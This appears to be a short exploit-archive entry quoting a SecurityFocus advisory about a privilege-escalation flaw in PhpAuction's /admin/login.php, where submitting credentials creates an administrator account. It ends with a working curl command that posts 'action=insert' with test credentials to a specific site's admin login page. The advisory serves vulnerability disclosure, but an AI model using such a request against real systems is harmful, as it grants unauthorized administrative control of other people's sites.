9 lines
No EOL
533 B
Text
9 lines
No EOL
533 B
Text
source: http://www.securityfocus.com/bid/5141/info
|
|
|
|
PhpAuction is a freely available web-based auction system. It is written using PHP scripting language on a MySQL database engine.
|
|
|
|
A flaw in /admin/login.php has been reported in PHPAuction, which could allow users to gain escalated privileges.
|
|
|
|
Submitting authentication credentials via login.php will create the user account with adminsitrative permissions.
|
|
|
|
curl http://pro.phpauction.org/proplus/admin/login.php -d "action=insert" -d "username=test" -d "password=test" |